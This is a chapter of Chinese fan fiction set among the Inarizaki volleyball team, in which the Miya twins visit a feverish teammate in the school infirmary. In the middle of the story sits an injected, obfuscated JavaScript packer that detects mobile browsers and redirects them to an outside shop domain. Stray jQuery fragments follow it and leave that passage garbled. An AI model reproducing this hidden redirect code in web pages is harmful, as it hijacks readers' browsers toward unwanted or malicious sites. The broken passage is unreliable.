14. 第 14 章

作品:《稻荷崎防御系统养成日记

    主场地那边,宫侑的心情从一大早开始就有点烦躁。


    他眼角余光瞥见那个白色的身影飘进二队训练区时,心里那股无名火就蹿起了一点。


    装什么装?以为低着头缩着肩膀,昨天晚上的事情就能当没发生过?他可是看得清清楚楚!那种弹跳,那种控制力……


    结果今天一来,还是那副半死不活的样子?不对,比平时更糟。脚步虚浮,动作绵软,传球歪到天边去了。


    宫侑一边心不在焉地做着发球练习,一边频频用视线去刺那个角落。每一次看到白夜绫失误,或者踉跄,他眉头就皱紧一分。


    这家伙……该不会是因为昨天被自己撞破,今天就故意摆烂,想证明他真的不行吧?还是说,被自己几句话就吓得连平时那点装普通人的训练都维持不住了?


    想到后一种可能,宫侑心里那点火气里,莫名其妙地掺进了一丝……极其细微的、连他自己都不愿承认的别扭。


    他有那么可怕吗?不过是说了实话,提了合理要求而已!


    “阿侑,你的球。”宫治的声音在旁边响起,一个球滚到他脚边。


    宫侑回过神来,啧了一声,捡起球,但发球的动作明显带了点迁怒的力道,球“砰”地砸在对面界内,威力十足,却少了点平时的精准刁钻。


    “你今天心神不宁。”宫治走到他身边,灰褐色的眼睛没什么情绪地看着他,语气是陈述句。


    “从早上开始,就一直往二队那边瞟。”他顿了顿,补刀精准,“瞟那个水母。”


    宫侑像是被踩了尾巴的狐狸,差点原地弹起来:“谁、谁一直瞟了!我只是看看二队今天又练得多烂而已!”


    “哦。”宫治面无表情地应了一声,连眉毛都没动,摆明了不信。他顺着宫侑刚才视线的方向,也看了一眼二队场地。正好看见白夜绫在一个简单移动中脚步虚浮,踉跄了一下,随即被不知何时走过去的北信介稳稳扶住。


    宫治的眉毛几不可察地动了一下。


    宫侑也看到了那一幕。看到北信介扶住白夜绫,几乎半靠着北信介被带离场地。他握着球的手指无意识地收紧,心里那股烦躁和别扭瞬间升级成了某种更闷堵的情绪。


    这家伙……到底怎么回事。


    “白夜好像不对劲。”宫治收回目光,看向自家双胞胎兄弟,“看起来像是生病了。”


    “生病?”宫侑一愣,随即像是找到了理由,语气变得尖锐起来,


    “借口吧!肯定是怕今天训练被我盯着,故意装病!”


    宫治没接他这个明显带着情绪的话茬,只是静静地看着他,那双和宫侑相似却更沉静的眼睛里,透着洞悉一切的、狐狸般的锐光。


    “你对他做了什么?” 他问得直接。


    “我能对他做什么!”宫侑立刻反驳,眼神却飘了一瞬。


    “昨晚,”宫治慢悠悠地开口,抛出关键词,“你回来得很晚,而且心情……很奇怪。”


    既不是纯粹的兴奋,也不是单纯的烦躁,而是一种混合着得意、不解和隐约焦躁的状态,有点类似宫侑成功偷吃他十个布丁后那种既爽又心虚的感觉。


    至于为什么是十个?因为只吃一两个的时候,这家伙只有理直气壮。


    作为双胞胎,宫治对宫侑情绪的感应精准到可怕。


    宫侑噎住了。他瞪着宫治,后者也笃定地回视他。


    兄弟之间无声的对峙在喧闹的训练馆背景中展开,空气里逐渐浮现狐狸毛炸开的窸窣响动。


    几秒钟后,宫侑败下阵来,烦躁地抓了抓自己金色的头发。“……啧!麻烦死了!”


    他压低了声音,语速飞快地把昨晚在副馆看到的情况简单说了一遍,重点突出了白夜绫隐藏的实力和他那令人火大的“不敢”。


    “……所以你就威胁他,逼他今天‘好好表现’?”宫治听完,总结道。显然对自己兄弟的情商不抱任何期待。


    “什么威胁!那是交换条件!”


    宫侑梗着脖子,“而且谁知道他那么不经吓,今天就变成这副鬼样子……”他说着,又忍不住看了一眼已经空了的二队角落,眉头紧锁。


    难道……真的病了?因为昨晚淋雨?还是因为……被自己吓得?


    这个念头让宫侑心里那点别扭感骤然放大。他原本理直气壮的“发现秘密-提出要求”的逻辑,似乎出现了一道裂缝。


    宫治将他的表情变化看在眼里,没再追问。


    “训练结束后,去看看。”宫治做出了决定。


    “哈?去看他?为什么我要……”宫侑本能地抗拒。


    “因为你‘吓’到他了,可能间接导致他生病。”宫治打断他,理由充分且直接。


    宫侑不说话了。宫治那句话微妙地戳中了他。如果那家伙病了……


    不会真是因为我吧?狐狸不安.jpg


    训练一结束,宫侑甚至没能像往常一样磨蹭着加练几个发球,就被宫治半拖半拽地拉出了体育馆。


    去往保健室的路上,宫侑显得异常沉默,双手插在裤兜里,脚步很快,金色的头发在傍晚的风里有些凌乱。


    两人路过小卖部时,宫治顺手买了点吃的,宫侑没反对,只绷着脸付款后跟上——尽管他脸上那副“我才不是去看他”的表情,根本骗不过任何人。


    保健室里很安静,弥漫着淡淡的消毒水味道。


    校医在靠外的诊室里坐着,病房靠窗的病床上,白夜绫正安静地躺着,似乎睡着了。


    他脸上的潮红退去了一些,显得皮肤更加苍白,几缕汗湿的白色卷发贴在额角和颊边,长长的睫毛在眼睑下投出浅浅的阴影。


    床头柜上放着一个保温杯,一袋吃食和一条折叠整齐的干净毛巾。北信介安排好他住医务室一晚上后,便回去继续监督队伍训练去了。


    宫侑在门口顿住了脚步,看着床上那个看起来比平时更脆弱、几乎没什么生气的身影,喉咙有些发紧。


    他之前所有的不满、烦躁、理直气壮,在此刻都像被戳破的气球,瘪了下去,只剩下一种陌生的、让他手足无措的心虚。


    宫治从他身后走过,径自走到床边,看了看白夜绫,又伸手探了探他额头的温度,然后回头对僵在门口的宫侑低声说:“还在烧。”


    宫侑机械地挪动脚步,走到床边。离得近了,他能看到白夜绫因为发烧而微微干裂的嘴唇,和即使在睡梦中依然微微蹙起的眉头。


    这家伙……睡着的时候倒是没那么强的“生人勿近”气场了,但看起来……挺难受的。


    宫侑张了张嘴,不知道该说什么。


    道歉?不不不。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168807|196783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    询问病情?太蠢了。质问他为什么不好好照顾自己?好像更没立场。


    就在他尴尬僵立的时候,白夜绫的睫毛颤动了几下,缓缓睁开了眼睛。那双紫色的瞳孔因为高烧和初醒而蒙着一层朦胧的水雾,失焦了几秒,才逐渐对准了站在床边的金发和银发的身影。


    白夜绫的意识顿时清醒了几分。这个金毛狐狸怎么来了,不会是抓他训练去的吧!


    他现在可是高贵的病号,如果逼他上场,他就和北前辈告状去。


    白夜绫在心里暗戳戳地想着。


    宫侑将他这瞬间警惕的反应尽收眼底,心里那点别扭和心虚瞬间被一股恼火取代。他是什么洪水猛兽吗?


    “看什么看!”宫侑没好气地开口,语气凶巴巴的,试图掩盖自己的不自在,“把自己搞成这副样子,你是笨蛋吗!”


    白夜绫被他吼得一愣,紫色的眼睛睁大了些,不解地看着两个人。


    宫治在一旁无声地叹了口气,对双胞胎兄弟的情商彻底放弃治疗。他走上前,动作自然地将买的零食放在柜子上。接着,他顺手拧开柜子上保温杯的盖子,里面是温度正好的白开水。


    “喝水。”宫治言简意赅,把杯子递到白夜绫手边,态度平静,比起旁边那只炸毛狐狸,简直可靠了十倍不止。(宫侑语:假的!)


    白夜绫迟疑地看了看宫治,又飞快地瞄了一眼脸色紧绷、撇过脸仿佛随时要喷火的宫侑,最终还是小心翼翼地接过杯子。温水滑过干涩的喉咙,带来一阵舒缓的暖意。


    “……谢谢,宫治君。”他低声道,声音依旧沙哑。


    宫治点了点头,“叫我阿治就可以了。”


    白夜绫眨眨眼,轻轻点头。


    宫侑抱着手臂站在一边,看着白夜绫喝水,看着他和宫治之间这“正常”的互动,心里的烦躁感更甚。他憋了半天,终于又憋出一句:“……你,好好休息。别明天又一副要死不死的样子来训练。”


    语气依旧很冲,但内容却微妙地透出一丝别样的意味。


    这是,关心我?


    白夜绫握着杯子的手顿了顿,从杯沿上方悄悄抬起眼睫,打量着宫侑。宫侑正拧着眉看着窗外,侧脸线条有些紧绷,耳根似乎……有点红?


    不会给我烧出幻觉了吧。


    “……嗯。”白夜绫垂下眼,轻声应道。反正不是催他训练的就好,假期get。


    宫侑像是完成了什么艰巨任务,立刻转身:“走了,阿治!” 说完,几乎是以逃跑的速度快步走出了保健室。


    宫治对白夜绫点了点头,算是告别,也跟了出去。


    保健室里重新恢复了安静。


    白夜绫慢慢放下水杯,躺回枕头上。身体依旧难受,脑子也昏沉,但宫侑刚才那番凶巴巴的探望,还有那疑似泛红的耳根……却奇异地,没有再让他感到更多恐惧。


    反而有点像……一只张牙舞爪、虚张声势,却因为不小心挠伤了同伴而显得有点笨拙和心虚的狐狸。


    他闭上眼,在退烧药开始起效带来的昏沉睡意中,模糊地想:稻荷崎的狐狸……好像也不全是只会挠人的类型。


    至少,还有像北前辈和治君这种靠谱的。


    至于那只最吵闹的金毛狐狸,似乎……还有那么一点点,极其隐蔽的、属于笨蛋的温柔。